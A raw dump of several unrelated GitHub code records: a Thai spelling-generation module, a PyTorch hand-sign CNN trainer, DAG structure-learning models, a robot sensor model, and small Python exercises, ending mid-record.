\"\"\"If the vowel already coda, change coda to silent after.\n \n Ex. อัย เอา already have j, w coda. They can't have coda.\n \"\"\"\n if VOWELS[self.vowel['used']]['sound_coda']:\n self._coda_to_silent()\n\n def _coda_to_silent(self) -> None:\n \"\"\"Change coda to silent after.\"\"\"\n new_silent_after = ''.join([\n self.coda,\n self.silent_after\n ])\n self.silent_after = new_silent_after\n self.coda = ''\n\n def _check_multiple_coda(self) -> None:\n \"\"\"Change all but the first coda to silent after.\n \n If coda has more than one consonants,\n insert every consonant after the first one to silent after.\"\"\"\n if len(self.coda) > 1:\n new_silent_after = ''.join([\n self.coda[1:],\n self.silent_after\n ])\n self.silent_after = new_silent_after\n self.coda = self.coda[0]\n\n def _select_onset(self) -> None:\n \"\"\"Select the main onset to determine tone from it.\n \n According to general rule of Thai onset cluster:\n\n - If the latter consonant is in single low class,\n tone of the word follows the prior consonant\n (อักษรควบแท้ อักษรควบไม่แท้ อักษรนำที่ตามด้วยอักษรต่ำเดี่ยว)\n - If not, tone follows the latter consonant\n (อักษรนำที่ไม่ได้ตามด้วยอักษรต่ำเดี่ยว)\n\n All of single low consonants are sonorants.\n\n \"used\" is the consonant used to derive the tone of the word.\n \"\"\"\n if len(self.onset['used']) > 1:\n if CONSONANTS[self.onset['used'][-1]]['class'] == 'low_single':\n used_index = -2\n else:\n used_index = -1\n onset_used = self.onset['used'][used_index]\n self.onset.update({\n 'used': onset_used,\n 'used_index': used_index\n })\n\n def _check_low_singles(self) -> None:\n \"\"\"Check for low single-low single onset cluster ambiguity.\n \n If true, we'll use the latter consonant as the main consonant\n to determine tone.\n Ex. นวี นหวี่ นวี่ นวี้ นหวี\n instead of นวี หนวี่ นวี่ นวี้ หนวี\n \"\"\"\n if (self.option['obvious_low_singles'] == True\n and len(self.onset['input']) > 1\n and CONSONANTS[self.onset['input'][-1]]['class'] == 'low_single'\n and CONSONANTS[self.onset['input'][-2]]['class'] == 'low_single'\n ):\n self.onset.update({\n 'used_index': -1,\n 'used': self.onset['input'][-1],\n })\n self.low_single_is_ambiguous = True\n else:\n self.low_single_is_ambiguous = False\n\n def _check_h_low_single(self) -> None:\n \"\"\"Check for ฮ and single low onset cluster ambiguity.\n \n If true, we'll use the latter consonant as the main consonant\n to determine tone. (ฮ is paired low and will have the same tone marker\n with single low vowel).\n Ex. ฮวา ฮหว่า ฮว่า ฮว้า ฮหวา\n instead of ฮวา หว่า ฮว่า ฮว้า หวา\n \"\"\"\n if (self.option['obvious_h_low_single'] == True\n and len(self.onset['input']) > 1\n and self.onset['input'][-2] == 'ฮ'\n and CONSONANTS[self.onset['input'][-1]]['class'] == 'low_single'):\n self.onset.update({\n 'used_index': -1,\n 'used': self.onset['input'][-1],\n })\n self.h_is_ambiguous = True\n else:\n self.h_is_ambiguous = False\n\n def _find_vowel(self) -> None:\n \"\"\"Find vowel to use from VOWELS\"\"\"\n vowel_used = self.vowel['used']\n vowel_used = self._select_vowel_length(vowel_used)\n if not self.coda:\n vowel_form = VOWELS[vowel_used]['form_no_coda']\n else:\n if (self.option['vowel_coda_form']\n and vowel_used in self.option['vowel_coda_form']):\n vowel_form = self.option['vowel_coda_form'][vowel_used]\n else:\n vowel_form = VOWELS[vowel_used]['form_with_coda']\n self.vowel.update({\n 'used': vowel_used,\n 'form': vowel_form\n })\n if not self.vowel['form']:\n self._deal_empty_vowel()\n\n def _select_vowel_length(self, vowel_used: str) -> str:\n \"\"\"Select vowel length according to the preference.\"\"\"\n if self.option['vowel_length'] not in ['short', 'long']:\n return vowel_used\n current_length = find_vowel_length(vowel_used)\n if self.option['vowel_length'] != current_length:\n if (self.option['vowel_pair_form']\n and vowel_used in self.option['vowel_pair_form']):\n vowel_used = self.option['vowel_pair_form'][vowel_used]\n else:\n vowel_used = find_vowel_pair(vowel_used)\n return vowel_used\n\n def _deal_empty_vowel(self) -> None:\n \"\"\"Find vowel to use if vowel from VOWEL is empty.\n \n Some vowels don't have coda form, so there are two choices:\n - Use coda form from its pair\n - Change coda to silent letter\n The choice is up to the setting.\n \"\"\"\n if self.option['vowel_no_coda'] == 'pair':\n vowel_used = VOWELS[self.vowel['used']]['pair']\n vowel_form = VOWELS[vowel_used]['form_with_coda']\n else:\n vowel_used = self.vowel['used']\n vowel_form = VOWELS[vowel_used]['form_no_coda']\n self._coda_to_silent()\n self.vowel.update({\n 'used': vowel_used,\n 'form': vowel_form\n })\n\n def _find_tone(self) -> None:\n \"\"\"Find consonant form and tone marker according to tone.\"\"\"\n\n self.onset.update({'form': self.onset['used']})\n self.tone_mark = ''\n\n if self.tone not in range(5):\n return\n \n tone_info = self._find_tone_info()\n\n if tone_info[0] == 'pair':\n if CONSONANTS[self.onset['used']]['class'] == 'high':\n self._use_pair_onset()\n elif CONSONANTS[self.onset['used']]['class'] == 'low_pair':\n self._use_pair_onset()\n if CONSONANTS[self.onset['used']]['class'] == 'low_single':\n self._use_h_onset()\n\n if tone_info[1]:\n self.tone_mark = TONE_MARKERS[tone_info[1]]\n\n def _find_tone_info(self) -> List[str]:\n \"\"\"Find tone information from TONES\"\"\"\n onset_class = CONSONANTS[self.onset['used']]['class']\n if onset_class in ['low_pair', 'low_single']:\n onset_class = 'low'\n alive_dead = 'dead' if self._is_checked() else 'alive'\n length = VOWELS[self.vowel['used']]['length']\n\n if onset_class in ['high', 'low'] and alive_dead == 'dead':\n word_detail = f'{onset_class} {length} {alive_dead}'\n else:\n word_detail = f'{onset_class} {alive_dead}'\n \n tone_info = TONES[self.tone][word_detail]\n return tone_info\n\n def _is_checked(self) -> bool:\n \"\"\"Check if the word is checked (dead) or not.\n \n Checked word in Thai:\n - Has no coda, short length (and no hidden coda like ไอ)\n - Has dead class coda\"\"\"\n checked = False\n if (not self.coda\n and VOWELS[self.vowel['used']]['length'] == 'short'\n and not VOWELS[self.vowel['used']]['sound_coda']\n ):\n checked = True\n elif (self.coda\n and CONSONANTS[self.coda]['coda_class'] == 'dead'\n ):\n checked = True\n return checked\n\n def _use_pair_onset(self) -> None:\n \"\"\"Change onset to its class pair ex. ข => ค or ค => ข\"\"\"\n self.onset.update({'form': CONSONANTS[self.onset['used']]['pair']})\n \n def _use_h_onset(self) -> None:\n \"\"\"Add ห to the onset.\"\"\"\n self.onset.update({'form': ''.join(['ห', self.onset['used']])})\n\n def _delete_taikhuu(self) -> None:\n \"\"\"Delete mai taikhuu if there's also a tone marker.\"\"\"\n mai_taikhuu = DIACRITICS['mai_taikhuu']\n if self.tone_mark and self.vowel['form'].find(mai_taikhuu) != -1:\n self.vowel['form'] = self.vowel['form'].replace(mai_taikhuu, '')\n\n def _combine(self) -> str:\n \"\"\"Return joined onset and vowel.\n \n index_after_vowel is the index of consonant that\n should be after the vowel. Note that ห นำ is still not\n being calculated in this index yet.\n\n If the amount of onsets are more than two,\n just put the vowel in front of the penultimate onset.\n\n Then, for onsets with the amount of two,\n check for some Thai vowels that create ambiguity in\n pronunciation of the word with onset cluster.\n We might put these vowels in front of the last consonant\n to clarify the pronunciation.\n Ex. เชว, แชว, โชว > ชเว, ชแว, ชโว\n\n If the word is already mark for being ambiguous single low-\n single low cluster and has ห นำ, just put the vowel in front of the\n last consonant.\n\n Same case with ambiguous ฮ and single low cluster.\n\n Otherwise use general case: Every onset is after the vowel.\"\"\"\n if len(self.onset['input']) > 2:\n index_after_vowel = -2\n elif self._is_vowel_ambiguous():\n index_after_vowel = -1\n elif self.low_single_is_ambiguous and len(self.onset['form']) == 2:\n index_after_vowel = -1\n elif self.h_is_ambiguous and len(self.onset['form']) == 2:\n index_after_vowel = -1\n else:\n index_after_vowel = 0\n combined = self._join_onset_vowel(index_after_vowel)\n \n return combined\n \n def _is_vowel_ambiguous(self) -> bool:\n \"\"\"Check if we should put initial onset in front of vowel.\n \n As some Thai vowels create ambiguity in pronunciation\n of the word with onset cluster, we might put the prior onset\n in front of these vowels to clarify it.\n\n Ex. เชว, แชว, โชว > ชเว, ชแว, ชโว\n \"\"\"\n if (self.option['clear_vowel']\n and len(self.onset['input']) == 2\n and (self.option['clear_vowel_onset'] == 'all'\n or (self.option['clear_vowel_onset'] == 'not_true_cluster'\n and self.onset['input'] not in CLUSTERS))\n and (self.option['clear_vowel_tone_mark']\n or (not self.option['clear_vowel_tone_mark']\n and not self.tone_mark))\n ):\n return True\n else:\n return False\n\n def _join_onset_vowel(self, index_after_vowel: int) -> str:\n \"\"\"Join onsets and vowel according to the index provided.\"\"\"\n combined_onset = self._join_onset()\n index_after_vowel = self._find_new_index(index_after_vowel)\n\n before_vowel = self._combine_diacritic(\n combined_onset[:index_after_vowel]\n )\n after_vowel = combined_onset[index_after_vowel:]\n if len(after_vowel) > 1:\n if (len(self.onset['form']) == 2\n and self.option['onset_style_apply'] == 'not_h'):\n diacritic_index = -2\n else:\n diacritic_index = -1\n after_vowel = ''.join([\n self._combine_diacritic(after_vowel[:diacritic_index]),\n after_vowel[diacritic_index:]\n ])\n \n combined = ''.join([\n before_vowel,\n self.vowel['form'].replace('-', after_vowel)\n ])\n return combined\n\n def _join_onset(self) -> str:\n \"\"\"Join the form of main onset with other onsets.\"\"\"\n prior = self.onset['input'][:self.onset['used_index']]\n latter = self.onset['input'][self.onset['used_index'] + 1:]\n if self.onset['used_index'] == -1:\n latter = ''\n combined_onset = ''.join([\n prior,\n self.onset['form'],\n latter])\n return combined_onset\n\n def _find_new_index(self, index_after_vowel: int) -> int:\n \"\"\"Shift index leftward if ห นำ is used.\"\"\"\n if (len(self.onset['form']) == 2\n and self.onset['used_index'] >= index_after_vowel\n ):\n index_after_vowel -= 1\n return index_after_vowel\n\n def _combine_diacritic(self, content: str) -> str:\n \"\"\"Combine diacritic to the onset.\n \n If option specifies that we should add diacritic to onset,\n add diacritic to every character in onset except the last one.\n \"\"\"\n if self.option['onset_style'] in ['plain']:\n return content\n if self.option['onset_style'] in ['phinthu', 'yaamakkaan', 'kaaran']:\n diacritic = DIACRITICS[f\"{self.option['onset_style']}\"]\n return self._add_diacritic(content, diacritic)\n raise ValueError('onset_style not recognized')\n\n @staticmethod\n def _add_diacritic(chars: str, diacritic: str) -> str:\n \"\"\"Add diacritic to every character.\"\"\"\n if chars:\n chars = ''.join([''.join([x, diacritic]) for x in chars])\n return chars\n\n @staticmethod\n def _add_diacritic_last(chars: str, diacritic: str) -> str:\n \"\"\"Add diacritic to the last character.\"\"\"\n if chars:\n chars = ''.join([chars, diacritic])\n return chars\n\n def _combine_coda(self) -> str:\n \"\"\"Combine coda section: silent before, coda, silent after.\"\"\"\n self.silent_before = self._combine_diacritic_coda(\n self.silent_before, 'silent_before')\n self.coda = self._combine_diacritic_coda(\n self.coda, 'coda')\n self.silent_after = self._combine_diacritic_coda(\n self.silent_after, 'silent_after')\n combined_coda = ''.join([\n self.silent_before,\n self.coda,\n self.silent_after\n ])\n return combined_coda\n\n def _combine_diacritic_coda(self, content: str, name: str) -> str:\n \"\"\"Combine coda section with diacritic, depending on option.\"\"\"\n style = f'{name}_style'\n if self.option[style] in ['plain']:\n return content\n elif self.option[style] in ['hide'] and name != 'coda':\n return ''\n elif self.option[style] in [\n 'phinthu', 'yaamakkaan', 'kaaran']:\n diacritic = DIACRITICS[f'{self.option[style]}']\n if self.option[style] in ['phinthu', 'yaamakkaan']:\n add_method = self._add_diacritic\n elif self.option[style] in ['kaaran']:\n add_method = self._add_diacritic_last\n return add_method(content, diacritic)\n else:\n raise ValueError(f'{style} not recognized')\n\n def all_tone(self, **word: Any) -> List[str]:\n \"\"\"Return all five tone versions of the word.\n \n See parameters from spell_out.\"\"\"\n result = []\n for tone_num in range(0, 5):\n word['tone'] = tone_num\n result.append(self.spell_out(**word))\n return result\n\ndef find_vowel_pair(vowel: str) -> str:\n \"\"\"Return vowel length pair.\"\"\"\n pair = VOWELS[vowel]['pair']\n if not pair:\n pair = vowel\n return pair\n\ndef find_vowel_length(vowel: str) -> str:\n \"\"\"Return vowel length ('short' or 'long').\"\"\"\n return VOWELS[vowel]['length']\n\ndef find_letter_list() -> Dict[str, List[str]]:\n \"\"\"Return all consonants, vowels and true clusters.\"\"\"\n result = {\n 'consonants': list(CONSONANTS.keys()),\n 'vowels': list(VOWELS.keys()),\n 'true clusters': list(CLUSTERS)}\n return result\n\ndef _consonant_by_property(property: str, property_name: str) -> List[str]:\n \"\"\"Return list of consonant with provided properties.\n \n Ex. _consonant_by_property('coda_class', 'alive')\n \"\"\"\n return [x for x in CONSONANTS if CONSONANTS[x][property] == property_name]","repo_name":"cakimpei/khanaa","sub_path":"src/khanaa/thai_spelling.py","file_name":"thai_spelling.py","file_ext":"py","file_size_in_byte":24055,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"72488485582","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport tqdm\n\n\nimport torch.nn.functional as F\n\nPATH_SAVE_MODEL_WEIGHT='model_weight/model_try.pth'\n\ntraining_data = np.load(\"train_data.npy\", allow_pickle=True)\nprint(len(training_data))\n\nnb_classes=8\n\nim_size=96\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__() # just run the init of parent class (nn.Module)\n self.conv1 = nn.Conv2d(1, 8, 3) # input is 1 image, 8 output channels, 3x3 kernel / window\n self.conv2 = nn.Conv2d(8, 16, 3) # input is 8, bc the first layer output 16. Then we say the output will be 32 channels, 3x3 kernel / window\n self.conv3 = nn.Conv2d(16, 32, 3)\n self.conv4 = nn.Conv2d(32, 64, 3)\n # self.conv5 = nn.Conv2d(64, 128, 3)\n self.fc1 = nn.Linear(64*4*4, 512) #flattening.\n self.fc2 = nn.Linear(512, 128) # 512 in, 2 out bc we're doing 2 classes (dog vs cat).\n self.fc3 = nn.Linear(128, 8)\n\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))\n x = F.max_pool2d(F.relu(self.conv2(x)), (2, 2))\n x = F.max_pool2d(F.relu(self.conv3(x)), (2, 2))\n x = F.max_pool2d(F.relu(self.conv4(x)), (2, 2))\n # x = F.max_pool2d(F.relu(self.conv5(x)), (2, 2))\n x = x.view(-1, 64*4*4) \n x = F.relu(self.fc1(x))\n x = self.fc2(x) \n x = self.fc3(x)\n return F.softmax(x, dim=1)\n\n\nnet = Net()\nprint(net)\n\n\nimport torch.optim as optim\n\noptimizer = optim.Adam(net.parameters(), lr=0.001) #0.001 ->0.00001\nloss_function = nn.MSELoss()\n\nX = torch.Tensor([i[0] for i in training_data]).view(-1,im_size,im_size)\nX = X/255.0\ny = torch.Tensor([i[1] for i in training_data])\n\nVAL_PCT = 0.1 # lets reserve 10% of our data for validation\nval_size = int(len(X)*VAL_PCT)\nprint(val_size)\n\n\ntrain_X = X[:-val_size]\ntrain_y = y[:-val_size]\n\n\ntest_X = X[-val_size:]\ntest_y = y[-val_size:]\n\nprint(len(train_X), len(test_X))\n\n\nBATCH_SIZE = 100\nEPOCHS = 14\n\nfor epoch in range(EPOCHS):\n for i in range(0, len(train_X), BATCH_SIZE): # from 0, to the len of x, stepping BATCH_SIZE at a time. [:50] ..for now just to dev\n # print(f\"{i}:{i+BATCH_SIZE}\")\n # print(\"loop\")\n batch_X = train_X[i:i+BATCH_SIZE].view(-1, 1, im_size, im_size)\n batch_y = train_y[i:i+BATCH_SIZE]\n\n # print(\"size of batch x\",batch_X.shape)\n # print(\"size of batch y\",batch_y.shape)\n\n net.zero_grad()\n\n outputs = net(batch_X)\n # print(outputs)\n loss = loss_function(outputs, batch_y)\n loss.backward()\n optimizer.step() # Does the update\n\n print(f\"Epoch: {epoch}. Loss: {loss}\")\n\n\n correct = 0\n total = 0\n with torch.no_grad():\n for i in range(len(test_X)):\n real_class = torch.argmax(test_y[i])\n net_out = net(test_X[i].view(-1, 1, im_size, im_size))[0] # returns a list, \n predicted_class = torch.argmax(net_out)\n\n if predicted_class == real_class:\n correct += 1\n total += 1\n print(\"Accuracy: \", round(correct/total, 3))\n\ntorch.save(net.state_dict(), PATH_SAVE_MODEL_WEIGHT)","repo_name":"bijoycp/convolutional-neural-network-using-pytorch","sub_path":"3_train-hand_sign_lng_pytorch.py","file_name":"3_train-hand_sign_lng_pytorch.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13946284716","text":"'''Faça um programa que receba dois inputs, uma palavra/frase\ne uma letra. O programa deve retornar quantas vezes a letra apareceu\nna palavra/frase. Dica: contagem de valores .count('valor')'''\n\ndef contar_letra():\n palavra = input(\"Digite um palavra\")\n letra = input(\"Digite a letra que deseja contar na palavra\")\n return palavra.count(letra)\n\n#JEITO MAIS COMPLETO COM VALIDAÇÃO PARA UMA LETRA\ndef contar_letra2():\n palavra = input(\"Digite um palavra\")\n letra = input(\"Digite a letra que deseja contar na palavra\")\n while len(letra) > 1:\n letra = input(\"Digite a letra que deseja contar na palavra\")\n return palavra.count(letra)\nprint(contar_letra2())","repo_name":"academia08-2019/n303-exercicios-resolucoes","sub_path":"ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35926710347","text":"import logging\nfrom copy import copy\n\nimport wandb\n\nimport torch\nfrom tqdm import tqdm\n\nfrom . import equations\nfrom . import sparsifiers\nfrom . import structures\nfrom . import utils\nfrom .equations import Equations\nfrom .structures import Structure\nfrom .sparsifiers import Sparsifier\nfrom .utils import get_optimizer, get_topological_order\n\nclass Daguerro(torch.nn.Module):\n\n def __init__(self, structure: Structure,\n sparsifier: Sparsifier,\n equation: Equations) -> None:\n super(Daguerro, self).__init__()\n self.structure = structure\n self.sparsifier = sparsifier\n self.equation = equation\n\n @staticmethod\n def initialize(X, args, joint=False):\n\n if args.structure == \"true_rank\":\n ordering = torch.from_numpy(get_topological_order(G))\n dag_cls = FixedStructureDaguerro\n joint = False # force bilevel optim\n\n elif args.structure == \"rnd_rank\":\n ordering = torch.randperm(X.shape[1])\n dag_cls = FixedStructureDaguerro\n joint = False # force bilevel optim\n\n else:\n dag_cls = DaguerroJoint if joint else DaguerroBilevel\n ordering = None\n\n # INFO: initialization is deferred to the specific methods to deal with all the modules'\n # hyperparameters inplace\n structure = structures.AVAILABLE[args.structure].initialize(X, args, ordering)\n sparsifier = sparsifiers.AVAILABLE[args.sparsifier].initialize(X, args, joint)\n equation = equations.AVAILABLE[args.equations].initialize(X, args, joint)\n return dag_cls(structure, sparsifier, equation)\n\n def forward(self, X, loss, args):\n if self.training:\n return self._learn(X, loss, args)\n else:\n return self._eval(X, loss, args)\n\n def _learn(self, X, loss, args): raise NotImplementedError()\n\n def _eval(self, X, loss, args):\n _, complete_dags, _ = self.structure()\n\n logging.info(f'Fitting the mode. We have {len(complete_dags)} complete dags!')\n\n # -- increase the fitting time (TODO make this passage a bit more decent)\n ex_args = copy(args)\n ex_args.num_inner_iters *= 5\n ex_args.es_tol_inner *= 5\n\n self.equation = self.equation.initialize(X, ex_args)\n self.sparsifier = self.sparsifier.initialize(X, ex_args)\n\n self.equation.fit(X, complete_dags, self.sparsifier, loss)\n logging.info('Done fitting the mode!')\n\n self.sparsifier.eval()\n self.equation.eval()\n\n dags, _ = self.sparsifier(complete_dags)\n x_hat, dags, _ = self.equation(X, dags)\n return x_hat, dags\n\n\nclass DaguerroJoint(Daguerro):\n\n def _learn(self, X, loss, args):\n # here all should be initialized\n log_dict = {}\n\n optimizer = get_optimizer(self.parameters(), name=args.optimizer, lr=args.lr)\n convergence_checker = utils.ApproximateConvergenceChecker(args.es_tol, args.es_delta)\n\n pbar = tqdm(range(args.num_epochs))\n\n # outer loop\n for epoch in pbar:\n\n optimizer.zero_grad()\n\n # INFO: main calls, note that here all the regularization terms are computed by the respective modules\n alphas, complete_dags, structure_reg = self.structure()\n dags, sparsifier_reg = self.sparsifier(complete_dags)\n x_hat, dags, equations_reg = self.equation(X, dags)\n\n rec_loss = loss(x_hat, X)\n\n objective = alphas @ (rec_loss + sparsifier_reg + equations_reg) + structure_reg\n objective.backward()\n\n optimizer.step()\n\n pbar.set_description(\n f\"objective {objective.item():.2f} | ns {len(complete_dags)} | \"\n f\"theta norm {self.structure.theta.norm():.4f}\"\n )\n\n log_dict = {\n \"epoch\": epoch,\n \"number of orderings\": len(alphas),\n \"objective\": objective.item(),\n }\n\n wandb.log(log_dict)\n if convergence_checker(objective):\n logging.info(f'Objective approx convergence at epoch {epoch}')\n break\n\n return log_dict\n\n\nclass DaguerroBilevel(Daguerro):\n\n def _learn(self, X, loss, args):\n log_dict = {}\n\n optimizer = get_optimizer(self.structure.parameters(), name=args.optimizer, lr=args.lr_theta)\n convergence_checker = utils.ApproximateConvergenceChecker(args.es_tol, args.es_delta)\n\n pbar = tqdm(range(args.num_epochs))\n\n # outer loop\n for epoch in pbar:\n optimizer.zero_grad()\n\n # INFO: main calls, note that here all the regularization terms are computed by the respective modules\n alphas, complete_dags, structure_reg = self.structure()\n\n # fit the equations and the sparsifier, if any\n self.equation.fit(X, complete_dags, self.sparsifier, loss)\n\n # now evaluate the optimized methods\n self.equation.eval()\n self.sparsifier.eval()\n\n # this now will return the MAP (mode) if e.g. using L0 STE Bernoulli,\n dags, _ = self.sparsifier(complete_dags)\n x_hat, dags, _ = self.equation(X, dags)\n\n # and now it's done\n final_inner_loss = loss(x_hat, X)\n\n # only final loss should count! to this, we just add the regularization from above\n objective = alphas @ final_inner_loss + structure_reg\n objective.backward()\n\n optimizer.step()\n\n # ----- one outer step is done, logging below ------\n\n pbar.set_description(\n f\"objective {objective.item():.2f} | ns {len(complete_dags)} | \"\n f\"theta norm {self.structure.theta.norm():.4f}\"\n )\n\n log_dict = {\n \"epoch\": epoch,\n \"number of orderings\": len(alphas),\n \"objective\": objective.item(),\n }\n wandb.log(log_dict)\n\n if convergence_checker(objective):\n logging.info(f'Outer obj. approx convergence at epoch {epoch}')\n break\n\n return log_dict\n\nclass FixedStructureDaguerro(Daguerro):\n \n def _learn(self, X, loss, args, metric_fun=None):\n log_dict = {}\n\n # INFO: main calls, note that here all the regularization terms are computed by the respective modules\n alphas, complete_dags, _ = self.structure()\n\n # fit the equations and the sparsifier, if any\n self.equation.fit(X, complete_dags, self.sparsifier, loss)\n\n # now evaluate the optimized methods\n self.equation.eval()\n self.sparsifier.eval()\n\n # this now will return the MAP (mode) if e.g. using L0 STE Bernoulli,\n dags, _ = self.sparsifier(complete_dags)\n x_hat, dags, _ = self.equation(X, dags)\n\n final_inner_loss = loss(x_hat, X)\n objective = alphas @ final_inner_loss\n\n log_dict = {\n \"number of orderings\": len(alphas),\n \"objective\": objective.item(),\n }\n\n wandb.log(log_dict)\n \n return log_dict\n \n def _eval(self, X, loss, args):\n _, complete_dags, _ = self.structure()\n\n self.sparsifier.eval()\n self.equation.eval()\n\n dags, _ = self.sparsifier(complete_dags)\n x_hat, dags, _ = self.equation(X, dags)\n\n return x_hat, dags","repo_name":"vzantedeschi/DAGuerreotype","sub_path":"daguerreo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7425,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"12662592355","text":"import numpy as np\nfrom sensor import Sensor\nfrom world_model import WorldModel\n\nclass SensorModel():\n\n @staticmethod\n def is_east(direction: Sensor) -> bool:\n\n east_directions = {\n Sensor.EAST,\n Sensor.SOUTH_EAST,\n Sensor.WEST_EAST,\n Sensor.WEST_SOUTH_EAST,\n Sensor.NORTH_EAST,\n Sensor.NORTH_SOUTH_EAST,\n Sensor.NORTH_WEST_EAST,\n Sensor.ALL\n }\n\n if direction in east_directions:\n return True\n return False\n\n @staticmethod\n def is_south(direction: Sensor) -> bool:\n south_directions = {\n Sensor.SOUTH,\n Sensor.SOUTH_EAST,\n Sensor.WEST_SOUTH,\n Sensor.WEST_SOUTH_EAST,\n Sensor.NORTH_SOUTH,\n Sensor.NORTH_SOUTH_EAST,\n Sensor.NORTH_WEST_SOUTH,\n Sensor.ALL \n }\n\n if direction in south_directions:\n return True\n return False\n\n @staticmethod\n def is_west(direction: Sensor) -> bool:\n west_directions = {\n Sensor.WEST,\n Sensor.WEST_EAST,\n Sensor.WEST_SOUTH,\n Sensor.WEST_SOUTH_EAST,\n Sensor.NORTH_WEST,\n Sensor.NORTH_WEST_EAST,\n Sensor.NORTH_WEST_SOUTH,\n Sensor.ALL \n }\n\n if direction in west_directions:\n return True\n return False\n\n @staticmethod\n def is_north(direction: Sensor) -> bool:\n north_directions = {\n Sensor.NORTH,\n Sensor.NORTH_EAST,\n Sensor.NORTH_SOUTH,\n Sensor.NORTH_SOUTH_EAST,\n Sensor.NORTH_WEST,\n Sensor.NORTH_WEST_EAST,\n Sensor.NORTH_WEST_SOUTH,\n Sensor.ALL \n }\n\n if direction in north_directions:\n return True\n return False\n\n @staticmethod\n def get_east_probability(direction: Sensor, east_value: int, error: float) -> float:\n if SensorModel.is_east(direction) and east_value == 1:\n return (1-error)\n elif SensorModel.is_east(direction) and east_value == 0:\n return error\n elif not SensorModel.is_east(direction) and east_value == 1:\n return error\n else:\n return (1-error)\n\n @staticmethod\n def get_south_probability(direction: Sensor, south_value: int, error: float) -> float:\n if SensorModel.is_south(direction) and south_value == 1:\n return (1-error)\n elif SensorModel.is_south(direction) and south_value == 0:\n return error\n elif not SensorModel.is_south(direction) and south_value == 1:\n return error\n else:\n return (1-error)\n\n @staticmethod\n def get_west_probability(direction: Sensor, west_value: int, error: float) -> float:\n if SensorModel.is_west(direction) and west_value == 1:\n return (1-error)\n elif SensorModel.is_west(direction) and west_value == 0:\n return error\n elif not SensorModel.is_west(direction) and west_value == 1:\n return error\n else:\n return (1-error)\n\n @staticmethod\n def get_north_probability(direction: Sensor, north_value: int, error: float) -> float:\n if SensorModel.is_north(direction) and north_value == 1:\n return (1-error)\n elif SensorModel.is_north(direction) and north_value == 0:\n return error\n elif not SensorModel.is_north(direction) and north_value == 1:\n return error\n else:\n return (1-error)\n\n @staticmethod\n def get_evidence_matrix(world_model: WorldModel, observation_model: np.array, evidence: Sensor):\n # Returns probability matrix that a state results in a given evidence\n\n evidence_matrix = np.zeros((world_model.n, world_model.n), dtype=np.float64)\n\n for i in range(0, world_model.n):\n evidence_matrix[i,i] = observation_model[evidence.value, i]\n\n return evidence_matrix\n\n @staticmethod\n def get_neighbor_sensor_value(neighbors: np.array):\n # Return sensor value, based on neighbors\n # Neighbors are in order NORTH, EAST, SOUTH, WEST\n\n value = neighbors[0,0] * 8 + neighbors[1,0] + neighbors[2,0] * 2 + neighbors[3,0] * 4\n\n return Sensor(value)","repo_name":"SteuerungX/proseminar-experiment","sub_path":"sensor_model.py","file_name":"sensor_model.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3827951937","text":"from time import sleep\r\nv1 = int(input('Primeiro valor: '))\r\nv2 = int(input('Segundo valor: '))\r\noption = 0\r\nwhile option != 5:\r\n print('''[ 1 ] somar\r\n[ 2 ] multiplicar\r\n[ 3 ] maior\r\n[ 4 ] novos números\r\n[ 5 ] sair do programa''')\r\n option = int(input('Qual é a sua opção? '))\r\n if option == 1:\r\n print('{} + {} = {}'.format(v1, v2, v1 + v2))\r\n elif option == 2:\r\n print('{} x {} = {}'.format(v1, v2, v1 * v2))\r\n elif option == 3:\r\n if v1 != v2:\r\n if v2 > v1:\r\n maior = v2\r\n menor = v1\r\n else:\r\n maior = v1\r\n menor = v2\r\n print(' {} > {}'.format(maior, menor))\r\n else:\r\n print('{} = {}'.format(v1, v2))\r\n elif option == 4:\r\n v1 = int(input('Primeiro valor: '))\r\n v2 = int(input('Segundo valor: '))\r\n elif option == 5:\r\n sleep(2)\r\n print('Saindo...')\r\n else:\r\n print('Opção inválida')\r\n sleep(2)\r\n print('=-='* 10)\r\n\r\n","repo_name":"NikolasPires/Python","sub_path":"desafios 1 a 90/ex059.py","file_name":"ex059.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13651159289","text":"# Activity 12-3 Rocket\n\n# import packages needed\nimport sys\nimport pygame\n\nclass Keygame:\n \"\"\" A game where the rocket will spawn to center and move around using\n arrow keys \"\"\"\n\n def __init__(self):\n \"\"\" Initialize the variable needed \"\"\"\n pygame.init()\n\n # set the screen size\n self.screen = pygame.display.set_mode((1200, 800))\n pygame.display.set_caption(\"Print Keys\")\n\n # background color\n self.bg_color = (40, 160, 200)\n\n def run_game(self):\n \"\"\" Start the main loop for the game\"\"\"\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n # prints the letter in console\n print(event.unicode)\n \n # redraw the screen to change the bg color (blue)\n self.screen.fill(self.bg_color)\n\n # make the most recently drawn screen visible\n pygame.display.flip()\n\nif __name__ == \"__main__\":\n kg = Keygame()\n kg.run_game()\n\n ","repo_name":"KeijiPlata/Python","sub_path":"ReviewPython/act12_alien_invasion/act12_Keys.py","file_name":"act12_Keys.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12572272919","text":"T = int(input())\ndata = []\nfor _ in range(T):\n tmp = list(map(int, input().split()))\n data.append(tmp)\n\n\ndef lis_dp(lis, case):\n for i in range(1, len(case)):\n lis[i] = 1\n for j in range(1, i):\n if case[j] < case[i] and 1 + lis[j] > lis[i]:\n lis[i] = 1 + lis[j]\n return max(lis)\n\n\ndef sol(case):\n lis = [0] * (len(case) + 